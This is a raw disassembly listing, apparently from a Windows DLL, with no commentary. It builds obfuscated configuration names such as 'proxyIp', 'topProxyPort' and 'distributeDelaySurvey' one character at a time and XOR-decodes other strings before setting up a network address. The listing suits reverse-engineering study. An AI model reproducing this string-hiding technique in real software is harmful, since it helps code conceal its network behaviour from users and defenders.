movups xmmword [ebp - 0x95b], xmm0
mov dword [ebp - 0x943], 0
movq qword [ebp - 0x94b], xmm0
push 0
je 0x100466cc
push 0x64
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x518], 0x6d
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x517], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x516], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x515], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x514], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x513], al
call fcn.10048a10
push 6
push 0x62
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x512], al
call fcn.10048a10
push 7
push 0x75
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x511], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x510], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x50f], al
call fcn.10048a10
push 0xa
push 0x4d
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x50e], al
call fcn.10048a10
push 0xb
push 0x6f
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x50d], al
call fcn.10048a10
push 0xc
push 0x64
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x50c], al
call fcn.10048a10
push 0xd
push 0x65
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x50b], al
call fcn.10048a10
mov byte [ebp - 0x50a], al
mov byte [ebp - 0x509], 0
mov byte [ebp - 4], 0xaa
xor esi, esi
push esi
lea ecx, [ebp - 0x517]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x518]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x508]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xe
jb 0x10045572
push 0xe
lea ecx, [ebp - 0x508]
call fcn.1000d870
lea ecx, [ebp - 0x508]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1214], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x1214]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004abc0
mov ecx, dword [ebp - 0x1060]
push eax
call fcn.1005a460
lea ecx, [ebp - 0x517]
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x6a4]
push 0
push 0x64
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov word [eax + 0xc], 0
mov byte [eax + 0xe], 0
mov byte [ebp - 0x6a4], 0x75
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x6a3], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x6a2], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x6a1], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x6a0], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69f], al
call fcn.10048a10
push 6
push 0x62
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69e], al
call fcn.10048a10
push 7
push 0x75
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69d], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69c], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69b], al
call fcn.10048a10
push 0xa
push 0x53
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x69a], al
call fcn.10048a10
mov byte [ebp - 0x699], al
push 0xb
push 0x77
lea ecx, [ebp - 0x6a4]
call fcn.10048a10
push 0xc
push 0x69
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x698], al
call fcn.10048a10
push 0xd
push 0x74
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x697], al
call fcn.10048a10
push 0xe
push 0x63
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x696], al
call fcn.10048a10
push 0xf
push 0x68
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 0x695], al
call fcn.10048a10
mov byte [ebp - 0x694], al
mov byte [ebp - 0x693], 0
mov byte [ebp - 4], 0xab
xor esi, esi
nop
push esi
lea ecx, [ebp - 0x6a3]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x6a4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x692]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x10045780
push 0x10
lea ecx, [ebp - 0x692]
call fcn.1000d870
lea ecx, [ebp - 0x692]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1210], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1210]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
lea ecx, [ebp - 0x6a3]
mov byte [ebp - 0x1049], al
mov byte [ebp - 4], 0xa9
call fcn.1000d860
cmp byte [ebp - 0x1049], 0
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
je 0x100466d3
push 0
push 0x70
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1d0], 0x6a
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1cf], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1ce], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1cd], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1cc], al
call fcn.10048a10
push 5
push 0x49
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1cb], al
call fcn.10048a10
push 6
push 0x70
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1ca], al
call fcn.10048a10
mov byte [ebp - 0x1c9], al
mov byte [ebp - 0x1c8], 0
or edi, 4
mov byte [ebp - 4], 0xac
mov dword [ebp - 0x1050], edi
xor esi, esi
mov dword [ebp - 0x1054], edi
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1cf]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x1d0]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x1c7]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x100458e0
push 7
lea ecx, [ebp - 0x1c7]
call fcn.1000d870
lea ecx, [ebp - 0x1c7]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x120c], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x120c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.10048fe0
mov esi, dword [ebp - 0x1060]
test al, al
jne 0x10045ad1
push 0
push 0x70
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x348], 0x72
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x347], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x346], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x345], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x344], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x343], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x342], al
call fcn.10048a10
push 7
push 0x72
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x341], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x348]
mov byte [ebp - 0x340], al
call fcn.10048a10
mov byte [ebp - 0x33f], al
mov byte [ebp - 0x33e], 0
or edi, 8
mov dword [ebp - 4], 0xad
mov dword [ebp - 0x1050], edi
mov dword [ebp - 0x1054], edi
xor edi, edi
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x347]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x348]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x33d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 9
jb 0x10045a50
push 9
lea ecx, [ebp - 0x33d]
call fcn.1000d870
lea ecx, [ebp - 0x33d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1208], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x1208]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.10048fe0
mov byte [ebp - 0x1049], 1
test al, al
je 0x10045ad8
mov byte [ebp - 0x1049], 0
mov eax, dword [ebp - 0x1050]
test al, 8
je 0x10045b09
and eax, 0xfffffff7
lea ecx, [ebp - 0x347]
mov dword [ebp - 0x1050], eax
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov word [eax + 8], 0
mov eax, dword [ebp - 0x1050]
mov dword [ebp - 4], 0xa9
test al, 4
je 0x10045b2f
and eax, 0xfffffffb
lea ecx, [ebp - 0x1cf]
mov dword [ebp - 0x1050], eax
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
cmp byte [ebp - 0x1049], 0
push 0
je 0x10045e19
push 0x70
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x270], 0x51
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26f], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26e], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26d], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26c], al
call fcn.10048a10
push 5
push 0x49
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26b], al
call fcn.10048a10
push 6
push 0x70
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x26a], al
call fcn.10048a10
mov byte [ebp - 0x269], al
mov byte [ebp - 0x268], 0
mov byte [ebp - 4], 0xae
xor edi, edi
push edi
lea ecx, [ebp - 0x26f]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x270]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x267]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 7
jb 0x10045be3
push 7
lea ecx, [ebp - 0x267]
call fcn.1000d870
lea ecx, [ebp - 0x267]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1204], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x1204]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xdc0]
push ecx
mov ecx, eax
call fcn.1005b770
push eax
lea ecx, [ebp - 0x9a8]
call fcn.10003560
lea ecx, [ebp - 0xdc0]
call fcn.10003210
lea ecx, [ebp - 0x26f]
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0xa5c]
movq qword [eax], xmm0
lea eax, [ebp - 0x9a8]
push eax
call fcn.10009090
push 0
push 0x70
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x330], 0x74
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32f], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32e], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32d], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32c], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32b], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x32a], al
call fcn.10048a10
push 7
push 0x72
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x329], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x330]
mov byte [ebp - 0x328], al
call fcn.10048a10
mov byte [ebp - 0x327], al
mov byte [ebp - 0x326], 0
mov byte [ebp - 4], 0xaf
xor edi, edi
push edi
lea ecx, [ebp - 0x32f]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x330]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x325]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 9
jb 0x10045d70
push 9
lea ecx, [ebp - 0x325]
call fcn.1000d870
lea ecx, [ebp - 0x325]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1200], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x1200]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx edi, ax
lea ecx, [ebp - 0x32f]
mov dword [ebp - 0x1058], edi
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov word [eax + 8], 0
movzx eax, di
mov dword [ebp - 0x1054], eax
jmp 0x10046402
push 0x74
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x94], 0x5e
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x93], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x92], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x91], al
call fcn.10048a10
push 4
push 0x70
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x90], al
call fcn.10048a10
mov byte [ebp - 0x8f], al
mov byte [ebp - 0x8e], 0
mov byte [ebp - 4], 0xb0
xor edi, edi
push edi
lea ecx, [ebp - 0x93]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x94]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x8d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 5
jb 0x10045e94
push 5
lea ecx, [ebp - 0x8d]
call fcn.1000d870
lea ecx, [ebp - 0x8d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11fc], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x11fc]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xdd8]
push ecx
mov ecx, eax
call fcn.1005b770
push eax
lea ecx, [ebp - 0x9a8]
call fcn.10003560
lea ecx, [ebp - 0xdd8]
call fcn.10003210
lea ecx, [ebp - 0x93]
mov byte [ebp - 4], 0xa9
xor edi, edi
call fcn.1000d860
push edi
push 0x64
lea ecx, [ebp - 0x16c]
mov dword [eax], edi
mov word [eax + 4], di
mov byte [ebp - 0x16c], 0x32
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x16c]
mov byte [ebp - 0x16b], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x16c]
mov byte [ebp - 0x16a], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x16c]
mov byte [ebp - 0x169], al
call fcn.10048a10
push 4
push 0x49
lea ecx, [ebp - 0x16c]
mov byte [ebp - 0x168], al
call fcn.10048a10
push 5
push 0x70
lea ecx, [ebp - 0x16c]
mov byte [ebp - 0x167], al
call fcn.10048a10
mov byte [ebp - 0x166], al
mov byte [ebp - 0x165], 0
mov byte [ebp - 4], 0xb1
nop
push edi
lea ecx, [ebp - 0x16b]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x16c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x164]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 6
jb 0x10045fd0
push 6
lea ecx, [ebp - 0x164]
call fcn.1000d870
lea ecx, [ebp - 0x164]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11f8], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x11f8]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xdf0]
push ecx
mov ecx, eax
call fcn.1005b770
push eax
lea ecx, [ebp - 0xa5c]
call fcn.10003560
lea ecx, [ebp - 0xdf0]
call fcn.10003210
lea ecx, [ebp - 0x16b]
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xor ecx, ecx
push ecx
push 0x74
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x45c], 0x60
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x45b], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x45a], al
call fcn.10048a10
push 3
push 0x50
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x459], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x458], al
call fcn.10048a10
push 5
push 0x6f
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x457], al
call fcn.10048a10
push 6
push 0x78
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x456], al
call fcn.10048a10
push 7
push 0x79
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x455], al
call fcn.10048a10
push 8
push 0x50
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x454], al
call fcn.10048a10
push 9
push 0x6f
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x453], al
call fcn.10048a10
push 0xa
mov byte [ebp - 0x452], al
lea ecx, [ebp - 0x45c]
push 0x72
call fcn.10048a10
push 0xb
push 0x74
lea ecx, [ebp - 0x45c]
mov byte [ebp - 0x451], al
call fcn.10048a10
mov byte [ebp - 0x450], al
mov byte [ebp - 0x44f], 0
mov byte [ebp - 4], 0xb2
xor edi, edi
nop dword [eax]
push edi
lea ecx, [ebp - 0x45b]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x45c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x44e]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xc
jb 0x10046190
push 0xc
lea ecx, [ebp - 0x44e]
call fcn.1000d870
lea ecx, [ebp - 0x44e]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11f4], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x11f4]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
lea ecx, [ebp - 0x45b]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x4d8]
push 0
push 0x64
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [eax + 0xc], 0
mov byte [ebp - 0x4d8], 0xe
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d7], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d6], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d5], al
call fcn.10048a10
push 4
push 0x50
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d4], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d3], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d2], al
call fcn.10048a10
push 7
push 0x78
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d1], al
call fcn.10048a10
push 8
push 0x79
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4d0], al
call fcn.10048a10
push 9
push 0x50
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4cf], al
call fcn.10048a10
push 0xa
push 0x6f
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4ce], al
call fcn.10048a10
push 0xb
mov byte [ebp - 0x4cd], al
lea ecx, [ebp - 0x4d8]
push 0x72
call fcn.10048a10
push 0xc
push 0x74
lea ecx, [ebp - 0x4d8]
mov byte [ebp - 0x4cc], al
call fcn.10048a10
mov byte [ebp - 0x4cb], al
mov byte [ebp - 0x4ca], 0
mov byte [ebp - 4], 0xb3
xor edi, edi
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x4d7]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x4d8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x4c9]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xd
jb 0x10046360
push 0xd
lea ecx, [ebp - 0x4c9]
call fcn.1000d870
lea ecx, [ebp - 0x4c9]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11f0], eax
lea ecx, [ebp - 0x10c8]
lea eax, [ebp - 0x11f0]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
lea ecx, [ebp - 0x4d7]
mov dword [ebp - 0x1054], eax
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov word [eax + 0xc], 0
push 0
push 0x64
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c8], 0x6c
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c7], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c6], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c5], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c4], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c3], al
call fcn.10048a10
push 6
push 0x62
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c2], al
call fcn.10048a10
push 7
push 0x75
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c1], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7c0], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7bf], al
call fcn.10048a10
push 0xa
push 0x44
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7be], al
call fcn.10048a10
push 0xb
push 0x65
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7bd], al
call fcn.10048a10
push 0xc
push 0x6c
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7bc], al
call fcn.10048a10
push 0xd
push 0x61
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7bb], al
call fcn.10048a10
push 0xe
push 0x79
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7ba], al
call fcn.10048a10
push 0xf
push 0x53
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7b9], al
call fcn.10048a10
mov byte [ebp - 0x7b8], al
push 0x10
push 0x75
lea ecx, [ebp - 0x7c8]
call fcn.10048a10
push 0x11
push 0x72
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7b7], al
call fcn.10048a10
push 0x12
push 0x76
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7b6], al
call fcn.10048a10
push 0x13
push 0x65
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7b5], al
call fcn.10048a10
push 0x14
push 0x79
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 0x7b4], al
call fcn.10048a10
mov byte [ebp - 0x7b3], al
mov byte [ebp - 0x7b2], 0
mov byte [ebp - 4], 0xb4
xor edi, edi
nop
push edi
lea ecx, [ebp - 0x7c7]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x7c8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x7b1]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0x15
jb 0x100465d0
push 0x15
lea ecx, [ebp - 0x7b1]
call fcn.1000d870
lea ecx, [ebp - 0x7b1]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11ec], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x11ec]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004abc0
test eax, eax
mov ecx, esi
setne al
movzx eax, al
push eax
lea eax, [ebp - 0xbf8]
push eax
lea eax, [ebp - 0xc28]
push eax
push dword [ebp - 0x1058]
lea eax, [ebp - 0x9a8]
push eax
call fcn.100324a0
lea ecx, [ebp - 0x7c7]
mov byte [ebp - 4], 0xa9
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0xa5c]
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov word [eax + 0x14], 0
call fcn.10008f50
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov ecx, esi
call fcn.1005a450
push dword [ebp - 0x1054]
call dword [sym.imp.WS2_32.dll_htons]
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a440
mov edi, dword [ebp - 0x1050]
jmp 0x100466d3
mov ecx, esi
call fcn.1005a460
mov cl, 0x65
mov dword [ebp - 0x29c], 0x8040265
mov dl, 2
mov dword [ebp - 0x298], 0x12c00
mov ah, 4
mov ch, 8
xor dh, dh
mov byte [ebp - 4], 0xb5
mov al, cl
xor al, dl
mov byte [ebp - 0x28e], dh
mov byte [ebp - 0x294], al
mov al, cl
xor al, ah
mov byte [ebp - 0x293], al
mov al, cl
xor al, ch
mov byte [ebp - 0x292], al
mov al, cl
xor al, dh
mov byte [ebp - 0x291], al
mov al, cl
xor al, byte [ebp - 0x297]
xor cl, byte [ebp - 0x296]
mov byte [ebp - 0x290], al
lea eax, [ebp - 0x294]
mov dword [ebp - 0x11e8], eax
lea eax, [ebp - 0x11e8]
mov byte [ebp - 0x28f], cl
lea ecx, [ebp - 0x13f8]
push eax
call fcn.1004eda0
lea eax, [ebx + 8]
mov dword [ebp - 0x13e8], 0
push eax
lea ecx, [ebp - 0x13e0]
call fcn.1004ace0
mov dword [ebp - 0x13d0], 0
lea eax, [ebp - 0x13c8]
mov byte [ebp - 4], 0xb6
lea ecx, [ebp - 0x13f8]
push eax
push ecx
lea ecx, [ebp - 0x1048]
call fcn.10048f40
mov dl, 5
mov dword [ebp - 0x28c], 0x50566
mov cl, 0x66
mov ah, dl
mov al, cl
mov byte [ebp - 4], 0xb8
xor al, dl
mov byte [ebp - 0x286], 0
xor cl, ah
mov byte [ebp - 0x288], al
lea eax, [ebp - 0x288]
mov byte [ebp - 0x287], cl
mov dword [ebp - 0x11e4], eax
lea ecx, [ebp - 0x1488]
lea eax, [ebp - 0x11e4]
push eax
call fcn.1004eda0
mov dword [ebp - 0x1478], 0
push dword [ebp - 0x108c]
lea ecx, [ebp - 0xbe0]
mov byte [ebp - 4], 0xb9
call fcn.10003430
or edi, 0x2000
mov dword [ebp - 0x1054], edi
lea eax, [ebp - 0xbe0]
mov byte [ebp - 4], 0xba
push eax
lea ecx, [ebp - 0x1470]
call fcn.1004a840
mov dword [ebp - 0x1460], 0
lea eax, [ebp - 0x1458]
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x1488]
push eax
push ecx
lea ecx, [ebp - 0x1030]
call fcn.10048f40
mov cl, 0x2b
mov dword [ebp - 0x2bc], 0x4e585e2b
mov dl, 0x5e
mov dword [ebp - 0x2b8], 0x4f6259
mov ah, 0x58
mov ch, 0x4e
mov dh, 0x59
mov byte [ebp - 4], 0xbe
mov al, cl
xor al, dl
mov byte [ebp - 0x2ae], 0
mov byte [ebp - 0x2b4], al
mov al, cl
xor al, ah
mov byte [ebp - 0x2b3], al
mov al, cl
xor al, ch
mov byte [ebp - 0x2b2], al
mov al, cl
xor al, dh
mov byte [ebp - 0x2b1], al
mov al, cl
xor al, byte [ebp - 0x2b7]
xor cl, byte [ebp - 0x2b6]
mov byte [ebp - 0x2b0], al
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x11e0], eax
lea eax, [ebp - 0x11e0]
mov byte [ebp - 0x2af], cl
lea ecx, [ebp - 0x1458]
push eax
call fcn.1004eda0
mov dword [ebp - 0x1448], 0
mov cl, 0xd
mov dword [ebp - 0x2ac], 0x687e780d
mov dl, 0x78
mov dword [ebp - 0x2a8], 0x69447f
mov ah, 0x7e
mov ch, 0x68
